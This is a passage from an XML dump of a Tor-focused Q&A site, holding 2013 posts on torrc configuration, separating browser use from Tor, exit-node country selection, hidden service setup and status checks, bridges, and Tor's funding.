relay&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-06T13:10:00.740" LastActivityDate="2013-10-06T13:10:00.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="388" PostTypeId="5" CreationDate="2013-10-06T13:07:56.150" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;/questions/tagged/configuration&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'configuration'&quot; rel=&quot;tag&quot;&gt;configuration&lt;/a&gt; tag is for any questions relating to configuring tor, the Tor Browser Bundle or any similar piece of software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular anything about the contents of the &lt;code&gt;torrc&lt;/code&gt; configuration file,  such as &lt;em&gt;What does the FooBar option do&lt;/em&gt;, or &lt;em&gt;Do I have to set HTTPProxy also when I set HTTPSProxy&lt;/em&gt; would be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notable resources include the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;man page&lt;/a&gt; for tor.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-07T02:08:37.520" LastActivityDate="2013-10-07T02:08:37.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="389" PostTypeId="4" CreationDate="2013-10-06T13:07:56.150" Score="0" Body="Questions about configuring Tor software." OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-07T02:08:30.847" LastActivityDate="2013-10-07T02:08:30.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="390" PostTypeId="1" AcceptedAnswerId="424" CreationDate="2013-10-06T16:44:20.833" Score="1" ViewCount="279" Body="&lt;p&gt;Tor's website advises against mixing levels of anonymity, but does this apply across browsers? That is, can I browse websites in Firefox, chrome, IE etc without exposing my Tor traffic in Vidalia?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: What I had originally meant with &quot;mixing levels of anonymity&quot; is actually &quot;mixing modes of anonymity&quot; (&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#DonotmixModesofAnonymity&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#DonotmixModesofAnonymity&lt;/a&gt; , thanks mirimir). Now that I see that section again, I realize it is dealing with a separate concern.  What I meant to ask was will it compromise my tor traffic if I simultaneously use a different browser to access easy identifying websites (i.e. account with my real name or email address connected to them).  Nicolas and mirimir answered this to the effect of using VMs. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-10-15T14:09:15.880" LastActivityDate="2013-10-15T14:09:15.880" Title="Tor Anonymous Level Mixing" Tags="|anonymity|browsers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="391" PostTypeId="2" ParentId="329" CreationDate="2013-10-06T20:12:47.480" Score="7" Body="&lt;p&gt;Tor checks the ownership of several files and directories at startup. One of those directories is the &lt;code&gt;HiddenServiceDir&lt;/code&gt;. This should belong to the user who started the Tor process. Otherwise you will get the warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 06 12:34:56.000 [warn] /foo/bar is not owned by this user (johndoe, 1011) &#xA;    but by root (0). Perhaps you are running Tor as the wrong user?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems you are using Debian or some similar distribution. They use the system user &lt;code&gt;debian-tor&lt;/code&gt; to run the Tor process. So you should make sure that the hidden service directory is owned by this user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that I would not recommend to put the hidden service data inside your home directory. This data is often accidentally deleted, put into some cloud or misused otherwise. So you risk to give those data out of your hand. Debian puts  it by default into &lt;code&gt;/var/lib/tor&lt;/code&gt;. This is often better than the home directory and also conform to the Filesystem Hierarchy Standard.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-06T20:12:47.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="393" PostTypeId="1" CreationDate="2013-10-07T01:26:37.477" Score="1" ViewCount="1657" Body="&lt;p&gt;As far I understand, for the most part, Tor usually does not use system DNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a http proxy is configured in torrc, Tor obviously has to resolve proxy.hostname.com to a IP. And doing the resolving untorified, over clearnet, because Tor needs to know how to connect to the proxy in the first place before it can connect to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I explicitly configure which DNS server Tor should use for these DNS requests?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be useful in setups, where is no system DNS resolver by design. Such as when the system is only supposed to emit Tor traffic, where everything but the Tor process is forced to use Tor.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-10-07T08:38:11.670" Title="Can I configure, which DNS server Tor should use to resolve proxy.hostname.com?" Tags="|pre-tor-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="394" PostTypeId="2" ParentId="377" CreationDate="2013-10-07T01:33:49.680" Score="5" Body="&lt;p&gt;It's empty, because no one has put something there. Maybe also because someone never suggested it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filling it up with links to Tor by default wouldn't be a wise choice either, I think. Having it empty has greater chances of staying empty than filling it with Tor related links. If it was filled up with Tor related links by default, users would more likely fill it up with their own content. They might store links, which contain an ID and since this preview tab might get prefetched (downloaded before clicking on it, so it can later be displayed faster), it might be bad for anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other users use bookmarks as they are easier to handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes less code and fewer changes to software (the Tor Browser is based on Firefox) can be more easily maintained by its producer. Such changes need to be thoroughly thought through. Are there any consequences from a anonymity/privacy standpoint? Since this request seems so unpopular, it might have been simpler to forget about it and leave it as it is right now (empty).&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="288" LastEditDate="2013-10-12T19:11:58.787" LastActivityDate="2013-10-12T19:11:58.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="395" PostTypeId="2" ParentId="390" CreationDate="2013-10-07T03:19:59.827" Score="1" Body="&lt;p&gt;I've not found anything on the Tor Project website that specifically warns against &quot;mixing levels of anonymity&quot;. However, &quot;Don't mix/cross the streams!&quot; is a common warning. Anyway, it is possible to simultaneously use the Tor Browser Bundle (with Tor-optimized Firefox) and other browsers that are not configured to use Tor. Using a second Firefox instance would be pushing your luck, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even so, it's also possible to be lucky (for a while, at least) doing other risky things. Generally, if you don't want two &quot;levels of anonymity&quot; associated, do your best to keep them separate. At a minimum, put low-anonymity and high-anonymity stuff in different VMs. Better yet, use different machines. And also keep them isolated in networking. But don't rely on isolation between browsers.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-07T03:19:59.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="396" PostTypeId="2" ParentId="385" CreationDate="2013-10-07T07:18:01.673" Score="3" Body="&lt;p&gt;Tor Browser uses several techniques that help to prevent the linking of sessions. These include&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor Browser forces cookies to be discarded at the end of the browsing session. Cookies are small pieces of data that websites use to keep notes on who you are. They are commonly used as a login token, or as an identifier for adveritsment companies to track you across multiple sites. By discarding all cookies when you start a new browsing session, these cannot be used to track you across sites.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor Browser changes the User-Agent to be generic - the same as all other people using TorBrowser. A USer Agent is a piece of text that the Browser constructs and sends, that contains system information. A website might use this for adjusting content that is sent to you - such as to match your language settings, or to work around browser rendering bugs. An example of a string is &lt;code&gt;Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405&lt;/code&gt; which contains both the language setting, as well as the versions of the Operating System and Web Browser. By changing the User Agent to be generic all Tor Browser users appear to be using the same browser, on the same operating system. This prevents another method of session linking.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor Browser disables the Flash plugin, which has its own form of persistent storage. As Flash applets auto-load on most systems, this again prevents a method of tracking you across sessions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A similar story applies for HTML5 storage capability. Websites can store data on your machine with the use of HTML5. This data can be much larger and more varied than cookies, and is technically distinct; but the risks in terms of being used as a tracking mechanism are the same.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For further changes to Firefox, be it patches or changed settings have a look at the &lt;a href=&quot;https://www.torproject.org/torbutton/en/design/index.html.en&quot; rel=&quot;nofollow&quot;&gt;design documents of TorButton&lt;/a&gt; and &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;TorBrowser&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="131" LastEditDate="2013-10-16T17:51:05.607" LastActivityDate="2013-10-16T17:51:05.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="397" PostTypeId="5" CreationDate="2013-10-07T07:30:56.277" Score="0" Body="&lt;p&gt;For a given connection through the Tor network, the &lt;em&gt;guard&lt;/em&gt; node is the first hop in that path.  It is the server that directly sees the user connecting.  See the wiki description for &lt;a href=&quot;/questions/tagged/relays&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'relays'&quot; rel=&quot;tag&quot;&gt;relays&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This category is for questions specific to guard relays.  General relay questions should be tagged with &lt;a href=&quot;/questions/tagged/relays&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'relays'&quot; rel=&quot;tag&quot;&gt;relays&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-07T16:45:58.883" LastActivityDate="2013-10-07T16:45:58.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="398" PostTypeId="4" CreationDate="2013-10-07T07:30:56.277" Score="0" Body="Guard relays are the first hop of any circuit through Tor.  This category is for guard specific questions." OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-07T16:45:24.303" LastActivityDate="2013-10-07T16:45:24.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="399" PostTypeId="5" CreationDate="2013-10-07T07:40:03.640" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Source_code&quot; rel=&quot;nofollow&quot;&gt;Source code&lt;/a&gt; is the text file version of a computer program or software.  It is the version that a programmer edits to write software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag is for questions relating to the source code for tor or any related products.  Programming questions as such are better asked on &lt;a href=&quot;http://stackoverflow.com/&quot;&gt;Stack Overflow&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sources for Tor related software can usually be found on &lt;a href=&quot;https://gitweb.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;gitweb.torproject.org&lt;/a&gt;.  In particular, the source for little-t-tor is at &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/tor.git/tree&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also be checked out to your computer using the &lt;a href=&quot;http://git-scm.com/&quot; rel=&quot;nofollow&quot;&gt;git software&lt;/a&gt;[&lt;a href=&quot;https://en.wikipedia.org/wiki/Git_%28software%29&quot; rel=&quot;nofollow&quot;&gt;wp&lt;/a&gt;], for instance by running &lt;code&gt;git clone https://git.torproject.org/tor.git&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-07T16:45:39.773" LastActivityDate="2013-10-07T16:45:39.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="400" PostTypeId="4" CreationDate="2013-10-07T07:40:03.640" Score="0" Body="Question about the source for Tor related software." OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-07T16:45:49.103" LastActivityDate="2013-10-07T16:45:49.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="401" PostTypeId="2" ParentId="393" CreationDate="2013-10-07T08:38:11.670" Score="1" Body="&lt;p&gt;What about preventing the DNS resolution from happening by using the proxy IP instead of the proxy hostname in torrc?&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2013-10-07T08:38:11.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="402" PostTypeId="1" CreationDate="2013-10-07T09:10:03.253" Score="2" ViewCount="237" Body="&lt;p&gt;How does this work? Moreover, isn't it &lt;em&gt;dangerous&lt;/em&gt; that &amp;quot;As of 2012, 80% of the Tor Project's $2M annual budget comes from the United States government, with the Swedish government and other organizations providing the rest&amp;quot;, as stated in the wikipedia page? Going by the record, NSA actions are &lt;a href=&quot;http://allthingsd.com/20131005/us-intelligence-chief-defends-attempts-to-break-tor-anonymity-network/&quot; rel=&quot;nofollow noreferrer&quot;&gt;expected&lt;/a&gt;, but the contradictory motives of the institution are not.&lt;/p&gt;&#xA;&lt;p&gt;To put it succinctly, either their funding is going to bear fruits, or the NSA attacks. Certainly not both.&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-01-16T08:50:44.613" Title="US govt funds Tor development while NSA attacks it" Tags="|development|" AnswerCount="1" CommentCount="2" ClosedDate="2013-10-09T12:15:24.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="403" PostTypeId="1" AcceptedAnswerId="405" CreationDate="2013-10-07T13:07:35.783" Score="10" ViewCount="6519" Body="&lt;p&gt;In torrc, you can select exit nodes by country code (&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot;&gt;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&lt;/a&gt;) - how reliable is that selection?  Could a malicious (or simply poorly-configured) exit node lie about where it was exiting traffic to?  Other than manual checking per &quot;identity,&quot; is there any automated way that this is monitored for inconsistencies?&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="58" LastEditDate="2013-10-07T13:41:16.483" LastActivityDate="2013-10-08T01:06:07.860" Title="How reliable is setting an exit via country code?" Tags="|exit-relays|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="404" PostTypeId="2" ParentId="378" CreationDate="2013-10-07T13:25:25.270" Score="2" Body="&lt;p&gt;Here's how I explained requirements for the Guard flag, including weighted fractional uptime, in the tech report &lt;a href=&quot;https://research.torproject.org/techreports/relay-stability-2011-06-30.pdf&quot; rel=&quot;nofollow&quot;&gt;An Analysis of Tor Relay Stability&lt;/a&gt; in June 2011:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;A router is a possible ‘Guard’ [if it is ‘familiar’,] if its Weighted Fractional Uptime is at least the median for ‘familiar’ active routers [or its Weighted Fractional Uptime is at least 98 %], and if its [advertised] bandwidth is at least median [of all active routers] or at least 250KB/s. [...] A node is ‘familiar’ if 1/8 of all active nodes have appeared more recently than it, or it has been around for [a weighted time of 8 days].&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The WFU metric measures the fraction of uptime of a relay in the past. [...] WFU values are discounted by factor 0.95 every 12 hours [...] including the current uptime session.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="119" LastActivityDate="2013-10-07T13:25:25.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="405" PostTypeId="2" ParentId="403" CreationDate="2013-10-07T13:29:49.407" Score="12" Body="&lt;p&gt;The geographical information comes from a so-called geoip file. This file has a mapping from IP address to country. This file (or database) is provided by &lt;a href=&quot;http://www.maxmind.com/&quot;&gt;Maxmind&lt;/a&gt;, a company that deals with such information. The Tor Project &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/config/README.geoip&quot;&gt;cleans up and converts this file&lt;/a&gt; and &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/config/geoip&quot;&gt;ships it&lt;/a&gt; with every Tor client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This company can forge its data to give you a wrong impression. However this would also affect other users. So I think this is quite unlikely. Furthermore the Tor developers could modify the data to cheat on you. But why should they do it? If I remember correctly they have a look at changes of that file and try to detect wrong data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone wants to lie about location data, I think the easiest thing is to rent a server in that specific country and run an exit node on it. &lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="119" LastEditDate="2013-10-07T13:44:35.977" LastActivityDate="2013-10-07T13:44:35.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="406" PostTypeId="2" ParentId="356" CreationDate="2013-10-07T14:44:19.667" Score="4" Body="&lt;p&gt;See also this report:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://research.torproject.org/techreports/tor-nat-plan-2012-08-22.pdf&quot; rel=&quot;nofollow&quot;&gt;Jacob Appelbaum. Tor and NAT devices: increasing bridge &amp;amp; relay reachability or, enabling the use of NAT-PMP and UPnP by default&lt;/a&gt; (Technical Report 2012-08-001, The Tor Project, August 2012.)&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-10-07T14:44:19.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="407" PostTypeId="2" ParentId="402" CreationDate="2013-10-07T17:03:33.697" Score="5" Body="&lt;p&gt;Governments are big, and different parts want different things.&lt;br/&gt;&#xA;The military &lt;a href=&quot;https://www.torproject.org/about/torusers.html.en#military&quot;&gt;has use for Tor&lt;/a&gt;. Intelligence agencies and law enforcement &lt;a href=&quot;https://www.torproject.org/about/torusers.html.en#lawenforcement&quot;&gt;have the same and similar uses&lt;/a&gt;.&#xA;In fact the underlying system was originally developed by the navy, for the navy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you read the &lt;a href=&quot;http://www.theguardian.com/world/2013/oct/04/nsa-gchq-attack-tor-network-encryption&quot;&gt;recently leaked NSA documents&lt;/a&gt; regarding Tor, specifically &lt;a href=&quot;http://www.theguardian.com/world/interactive/2013/oct/04/tor-stinks-nsa-presentation-document&quot;&gt;this one&lt;/a&gt; it becomes apparent that they don't have any backdoors into the system (or at least didn't when those documents were created) as most of the attacks are either known or go after separate software such as Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While development attacks are a real threat the open-source nature of Tor helps defend against them. There's also the fact that there are many white-hat researchers constantly doing their best to find any holes in Tor so it may be better secured.&#xA;Also, unless they were NSA from the get-go I seriously doubt any of the developers would turn to the dark side. You don't give away countless hours of your time for free unless you care about what you're doing; they could just as easily have gotten a six figure job invading people's privacy instead.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2013-10-07T17:03:33.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="408" PostTypeId="2" ParentId="58" CreationDate="2013-10-07T18:01:41.043" Score="4" Body="&lt;p&gt;It depends what attacks you want to defend against.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Having your service private key stolen - this is a significant problem and something you should be trying hard to avoid. If someone steals the private key they can own your site, forever, and you can't ever get it back.&lt;/li&gt;&#xA;&lt;li&gt;Having your data etc, stolen, at least if you keep hold of your private key, you can just get all your users to change their passwords or something (might be tricky though, if an attacker has all their reset details, there is probably no way to easily avoid the attacker spoofing all your users forever)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would strongly recommend&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using a VM for your server&lt;/li&gt;&#xA;&lt;li&gt;using full-disc encryption on your server VM (although this may be defeated e.g. in the UK by authorities forcing you to reveal the key under threat of imprisonment)&lt;/li&gt;&#xA;&lt;li&gt;Having backups somewhere else out of the way, ideally admin'd by a trusted friend.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the actual software itself, use whatever you are most comfortable with, but remember that unlike a &quot;non-hidden&quot; site, a security compromise is likely to be absolute and final.&lt;/p&gt;&#xA;" OwnerUserId="301" LastActivityDate="2013-10-07T18:01:41.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="409" PostTypeId="1" CreationDate="2013-10-07T18:41:40.100" Score="11" ViewCount="1101" Body="&lt;p&gt;Is there some magical way which I can programmatically detect whether a hidden service exists, is up, or is dead, other than trying to connect to it through the Tor socks protocol?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can connect using Python socks module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if there's some magic, so if I know the .onion address I can check whether there is an up-to-date service descriptor magically out there in the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="303" LastActivityDate="2013-10-20T19:42:58.537" Title="How to programmatically detect a hidden service" Tags="|onion-services|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="410" PostTypeId="2" ParentId="368" CreationDate="2013-10-07T18:59:16.220" Score="9" Body="&lt;p&gt;This netblock was owned by PSINet, one of the first and early ISPs.&#xA;PSINet was purchased by Cogent many years ago, and thus Cogent became&#xA;the owner of the netblock (154.35.0.0/16).  At some point IANA, or ARIN,&#xA;or AfriNIC, or all of the above decided that the supernet to which&#xA;154.35.0.0/16 belongs, 154.0.0.0/8, was allocated to Africa.  You can&#xA;see that switch here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/AfriNIC&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/AfriNIC&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml&quot; rel=&quot;nofollow&quot;&gt;http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now just because IANA decides to reallocate a /8 doesn't mean everyone&#xA;in that /8 loses their IP space.  That would be disastrous to all&#xA;involved, obviously.  So Cogent maintains ownership of 154.35.0.0/16,&#xA;while IP space around them is allocated to African providers.  Unless&#xA;Cogent decides to return 154.35.0.0/16, it will also be so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why does 154.0.0.0/8, and 154.35.0.0/16, show up in Mauritius?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the address of AfriNIC is in Mauritius:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;OrgName:        African Network Information Center&lt;br /&gt;&#xA;  OrgId:          AFRINIC&lt;br /&gt;&#xA;  Address:        Level 11ABC&lt;br /&gt;&#xA;  Address:        Raffles Tower&lt;br /&gt;&#xA;  Address:        Lot 19, Cybercity&lt;br /&gt;&#xA;  City:           Ebene&lt;br /&gt;&#xA;  StateProv:&lt;br /&gt;&#xA;  PostalCode:&lt;br /&gt;&#xA;  Country:        MU&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the default setting for all IP space allocated to AfriNIC&#xA;(Africa).  It remains the setting until the IP space is allocated to an&#xA;African provider, at which point the whois is updated to reflect the&#xA;provider's address.  Since 154.35.0.0/16 isn't and won't be allocated to&#xA;an African provider, the address remains the address of AfriNIC.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="88" LastEditDate="2013-10-08T13:13:50.677" LastActivityDate="2013-10-08T13:13:50.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="411" PostTypeId="2" ParentId="308" CreationDate="2013-10-07T20:06:43.740" Score="6" Body="&lt;p&gt;If by &quot;best&quot; you mean some combination of &quot;most censorship resistant&quot; and &quot;provide the most bandwidth where it is needed&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have access to one external IP address, the best way to run multiple bridges on a single computer would be to run multiple types of &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/PluggableTransports&quot; rel=&quot;nofollow&quot;&gt;pluggable transport&lt;/a&gt; bridges on different ports. Since you have multiple IP addresses available, it would be better to run separate pluggable transport bridges on separate IPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most effective transport to run right now, in terms of most user demand and least number of countries known to be capable of detecting and blocking it, is &lt;a href=&quot;https://www.torproject.org/projects/obfsproxy.html.en&quot; rel=&quot;nofollow&quot;&gt;obfsproxy&lt;/a&gt; using the obfs3 protocol (instructions for setting one up can be found on that page also).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that multiple censoring countries/parties have been known to blackhole IP addresses. There are some known cases of IP:port pairs being censored, with some unverified reports that IP:ports are blocked if there is another resource being served from the same IP (such as a webserver, jabber server, etc.). In general though, I would say that once a censoring party is made aware of a Tor bridge, that they will block it on the IP layer. Therefore, using different IPs, if you have them, is likely the most effective strategy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on the technical mechanisms of censorship practised by various countries, see &lt;a href=&quot;http://trac.torproject.org/projects/tor/wiki/doc/OONI/censorshipwiki&quot; rel=&quot;nofollow&quot;&gt;the censorship wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="88" LastEditDate="2013-10-08T13:14:09.553" LastActivityDate="2013-10-08T13:14:09.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="413" PostTypeId="1" AcceptedAnswerId="429" CreationDate="2013-10-07T21:32:44.047" Score="4" ViewCount="169" Body="&lt;p&gt;I heard that Tor has a tracking system where all requests for help land. Assume that someone has some time over the day and want to help to answer those requests. What specific knowledge does one need to have and what processes exist to join the RT team?&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2013-10-08T20:01:16.240" LastActivityDate="2021-05-31T20:34:06.307" Title="How can volunteers join the RT team?" Tags="|support|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="414" PostTypeId="2" ParentId="413" CreationDate="2013-10-07T22:31:56.357" Score="1" Body="&lt;p&gt;Responding to support requests is not a volunteer role. In 2012, the Tor Project received funding for support assistants and hired some volunteers in early 2013 to fill that role. This resulted in an expanded help desk that supported multilingual support requests. The Tor Project &lt;a href=&quot;https://blog.torproject.org/blog/tor-help-desk-expands-four-more-languages&quot; rel=&quot;nofollow&quot;&gt;announced this change on the Tor blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the support assistant positions have now been filled, new open positions are generally listed &lt;a href=&quot;https://www.torproject.org/about/jobs.html.en&quot; rel=&quot;nofollow&quot;&gt;on the Tor Project website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-07T22:31:56.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="415" PostTypeId="2" ParentId="409" CreationDate="2013-10-07T23:19:58.057" Score="0" Body="&lt;p&gt;I can't tell if there's some &quot;magic trick&quot; but if there is you don't know if the webserver or whatever is running. So you still have to try to connect so why not doing it in the first place?&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2013-10-07T23:19:58.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="416" PostTypeId="2" ParentId="409" CreationDate="2013-10-08T00:48:15.427" Score="4" Body="&lt;p&gt;To elaborate on the previous answer, there are degrees of &quot;up&quot;-ness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connecting to a hidden service involves roughly the following steps. You could write a tool that performed any number of them and declares the service &quot;up&quot; if they succeed, but you won't know if subsequent steps would have failed unless you try them too.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Connect to Tor&lt;/li&gt;&#xA;&lt;li&gt;Download the directory consensus&lt;/li&gt;&#xA;&lt;li&gt;Connect to the first HSDir node for your hidden service and fetch the HS descriptor&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the first HSdir fails, try another. There are several HSDirs responsible for each HS (for details, read about consistent hashing, DHTs, etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Try communicating with the HS via the first introduction node in the HS descriptor&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the first introduction node fails, try another. There are several.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tell the hidden service (via the introduction point) about a rendezvous node, and build a circuit there. The HS should also build a circuit there, and the rendezvous node will merrily connect the two.&lt;/li&gt;&#xA;&lt;li&gt;Connect to the hidden service through the new circuit to rendezvous node&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the hidden service has been completely down for a while, step 3 will fail (none of the HSDirs will have a record of it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the hidden service went down recently, step 4 will fail (none of the introduction points will have an open circuit to it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the hidden service's Tor daemon is running but the service behind it (eg, a webserver) is not, then step 6 will 